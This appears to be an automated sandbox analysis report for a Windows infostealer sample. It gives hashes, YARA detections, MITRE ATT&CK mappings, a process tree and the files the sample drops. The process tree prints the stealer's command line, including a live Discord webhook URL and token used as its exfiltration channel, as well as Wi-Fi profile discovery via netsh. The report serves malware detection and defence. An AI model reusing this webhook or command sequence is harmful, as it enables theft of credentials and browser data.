b62666a49eadfb281964285c1ccf51cd513d08d4d5639ef6c4c174ef216feb76

Analysis

max time kernel
150s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Size 8.3MB
Sample261001-pgpqwasfmg
SHA256 b62666a49eadfb281964285c1ccf51cd513d08d4d5639ef6c4c174ef216feb76
MD5 71d42de59d6b861d2388a4f2f4397590
SHA1 43104ae763a4d0e0df7a7f0c72564291b157beff
SHA512 426a1c5845e50c43f676a793a99f764d9551eddc90880bb0d656a8ff3cfb5d7815c0c89c8f40c8a43a6d8588f6b19607a87e4836ec1e9b7abda74f28f2ff49fe
SSDEEP 196608:iaq1W7i6dCFW+t2PKMmjdVMgyicZhKlDLG9mWvC/PM9qzGmOnyJ:iaq1W7LCFW+tHjdSgwylDLG9mz/kwnJ
TLSH
T10D963358A3D005F9E9F3843E88A2E967EB31FC164751D697133843262E335F1BD2AB58
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer themida trojan

Malware Config

Signatures

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 6 IoCs

resource	yara_rule
behavioral2/memory/1552-338-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1552-336-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1552-339-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1552-340-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1552-346-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/1552-365-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects executables Discord URL observed in first stage droppers 6 IoCs

resource	yara_rule
behavioral2/memory/1552-338-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/1552-336-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/1552-339-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/1552-340-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/1552-346-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/memory/1552-365-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_DiscordURL

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 6 IoCs

resource	yara_rule
behavioral2/memory/1552-338-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1552-336-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1552-339-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1552-340-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1552-346-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/1552-365-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables packed with Themida 25 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c567-87.dat	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-88-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-90-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-91-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-92-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-293-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-294-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-295-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-296-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-297-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-330-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-333-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-334-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-337-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-335-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-338-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-336-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-339-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-340-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-344-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-346-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-364-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/1552-365-0x00000000072E0000-0x00000000080F8000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-366-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/2352-367-0x0000000140000000-0x00000001408D4000-memory.dmp	INDICATOR_EXE_Packed_Themida

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	aokjibdhfda.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	aokjibdhfda.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	aokjibdhfda.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	aokjibdhfda.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	aokjibdhfda.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	aokjibdhfda.exe

Executes dropped EXE 2 IoCs

pid	Process
2352	aokjibdhfda.exe
1552	aokjibdhfda.exe

Loads dropped DLL 61 IoCs

pid	Process
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 25 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000c00000001c567-87.dat	themida
behavioral2/memory/2352-88-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/2352-90-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/2352-91-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/2352-92-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-293-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/2352-294-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-295-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-296-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/2352-297-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-330-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-333-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-334-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/1552-337-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/1552-335-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/1552-338-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/1552-336-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/1552-339-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/1552-340-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/2352-344-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-346-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/1552-364-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/1552-365-0x00000000072E0000-0x00000000080F8000-memory.dmp	themida
behavioral2/memory/2352-366-0x0000000140000000-0x00000001408D4000-memory.dmp	themida
behavioral2/memory/2352-367-0x0000000140000000-0x00000001408D4000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	aokjibdhfda.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	aokjibdhfda.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
1	discord.com
6	raw.githubusercontent.com
9	discord.com
10	discord.com

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6012	tasklist.exe
3536	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 3 IoCs

defense_evasion

Debugger Evasion

T1622

pid	Process
2352	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3460	cmd.exe
4900	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	aokjibdhfda.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	aokjibdhfda.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3460	cmd.exe
4608	netsh.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4544	timeout.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe
1552	aokjibdhfda.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1552	aokjibdhfda.exe
Token: SeDebugPrivilege	1552	aokjibdhfda.exe
Token: SeDebugPrivilege	1552	aokjibdhfda.exe
Token: SeDebugPrivilege	6012	tasklist.exe
Token: SeDebugPrivilege	3536	tasklist.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 2364	3444	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	89
PID 2364 wrote to memory of 2352	2364	2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	90
PID 2352 wrote to memory of 1552	2352	aokjibdhfda.exe	91
PID 1552 wrote to memory of 3460	1552	aokjibdhfda.exe	94
PID 3460 wrote to memory of 4608	3460	cmd.exe	96
PID 1552 wrote to memory of 4900	1552	aokjibdhfda.exe	97
PID 4900 wrote to memory of 6012	4900	cmd.exe	99
PID 4900 wrote to memory of 4564	4900	cmd.exe	100
PID 4900 wrote to memory of 4544	4900	cmd.exe	101
PID 4900 wrote to memory of 3536	4900	cmd.exe	102
PID 4900 wrote to memory of 4604	4900	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Users\Admin\AppData\Local\Temp\2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-09-30_71d42de59d6b861d2388a4f2f4397590_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Users\Admin\AppData\Local\Temp\aokjibdhfda.exe
    C:\Users\Admin\AppData\Local\Temp\aokjibdhfda.exe --uid 53bc776c-adc0-4507-ae46-45483f28acde --webhook https://discord.com/api/webhooks/1554465171630587946/tCBfiqbHuyI0fy_UnWSud7INZTsJJWiCcM2MRjS6JVeXrcZF63N2ERaK2xWRTt6Vx9HA --username aokjibdhfda --msg-enabled 0 --msg-title "Enter your headline !!!" --msg-text "Enter your custom mesage !!!" --msg-style info
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:2352
  - - C:\Users\Admin\AppData\Local\Temp\aokjibdhfda.exe
      C:\Users\Admin\AppData\Local\Temp\aokjibdhfda.exe --uid 53bc776c-adc0-4507-ae46-45483f28acde --webhook https://discord.com/api/webhooks/1554465171630587946/tCBfiqbHuyI0fy_UnWSud7INZTsJJWiCcM2MRjS6JVeXrcZF63N2ERaK2xWRTt6Vx9HA --username aokjibdhfda --msg-enabled 0 --msg-title "Enter your headline !!!" --msg-text "Enter your custom mesage !!!" --msg-style info
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Loads dropped DLL
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1552
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3460
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4608
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\booter.bat"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4900
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "PID eq 1552"
        6⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:6012
      - C:\Windows\system32\find.exe
        
        find "1552"
        6⤵
        
        PID:4564
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:4544
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "PID eq 1552"
        6⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:3536
      - C:\Windows\system32\find.exe
        
        find "1552"
        6⤵
        
        PID:4604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Debugger Evasion

T1622

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

Debugger Evasion

Process Discovery

Query Registry

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\_queue.pyd
Size 33KB
SHA256 405553e34dc13e753e8b1cea5832bcf64f12e2ee248f0570f06f2a85f499530c
MD5 46910654e88f4b2004c83455546d9a68
SHA1 d7cf313f2ff3e8367ad56ad1cac101914a6ddea2
SHA512 0d4b8dfe00db9b7b4c0d012c599bb7ee1067cb65801a144e03ab4bcede11430a7313f39bc7dec36c9abd9ec80f60fdb7ee4916ddf74cf7ce99ccc16a35207499
SSDEEP 768:5+Mds6rE7gVh6hIh9UQJo8y++RYT2Ip4dPbxf1mlbN5q:lNE7gVIhIh9UX8y+kR9TfIbTq
TLSH
T1C6F26DCAAEA84487DA63C670C1E6EE92F535B7D3561197EF2069818E1F233C1A335319
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\_wmi.pyd
Size 37KB
SHA256 bd21860a166826d7703483236a08d740b81d52b753ff2f20a58695c2e6b29bb8
MD5 0bf19b5f4cd5efdfe03444603991f876
SHA1 dc06184eabb2b1387a46925c0569d63f0c6f2ae2
SHA512 7ef744f25152f3d3f422df399c023d925e87d4118793e45deef3f0d176bbc22dcae44a446f0b26fc49143a7276f5dbce0b6355468a093e2b62b4bedac4fb98ee
SSDEEP 768:72/EEqrVmjshuwkc9+udIhLiCo8y++RYT2Ip4tPbxf1mlgf87nk:GE9BEzwkc9+udIhLiH8y+kR93fIgUA
TLSH
T1D0037DC9E6640082EA67CA74C5A5DE43F675BBD36711838F32A5815A0F233D1DB3933A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\base_library.zip
Size 1.3MB
SHA256 c7d39c6ae4e06f541491fb490403c4a27b17a7a97dce5b68a913e4525c2bcb42
MD5 10ebb83426ba61d18d92b8b3d88d2f98
SHA1 06eafdeab33367515178ef6bdfcf5ba9ed6b79ed
SHA512 827d3c809e9d296014d624d6da91caba80a42c821b4d302b8d7afb957616afe6a5706e5a12237b89326a956010bfc3023c28c9a1ce767504c0c627dcf8f5113c
SSDEEP 12288:PotYzGNcT1h16ew5Zi2cPPdxhYxqhTCDW7WpXuIva80201jwCVRDVoioSYBBiZOk:hSeT1U5cPPdxhYxqJ7WpXlndZTGCg
TLSH
T14D551992B9527953FF64F37B80B7484CF31E86A2EF00C207355E42661EFE6B09E59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

INSTALLER

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\pyreadline3-3.5.6.dist-info\INSTALLER
Size 4B
SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
MD5 365c9bfeb7d89244f2ce01c1de44cb85
SHA1 d7a03141d5d6b1e88b6b59ef08b6681df212c599
SHA512 d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1
MD5 SHA1 SHA512

Submit Download

python3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23522\python3.dll
Size 69KB
SHA256 f461d581e9581b4a0cbf4cd1ee2333f42ad9f0e5a97a502c412c72c4edbd9a17
MD5 7f640816c4962adc57f17c8dbbd48335
SHA1 dd0949f283b3981b5e411d029f2769565b12c273
SHA512 7861dac83d64571781edeb059fc16525324a838fc80f2c1070a2df3eaed76d8feb2bcd3e9df0a4ae8abf1ac6ca66664e1b9279c5007b31ca75351e2815aeff77
SSDEEP 768:+QEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiu:KotssyKcunV8PohIhy0p8y+kR98fIbTj
TLSH
T1DD634BC26B57F8A2D6F665FC78DDD9CD242B02CC53298D9FA47993920F1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI34442\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI34442\_bz2.pyd
Size 84KB
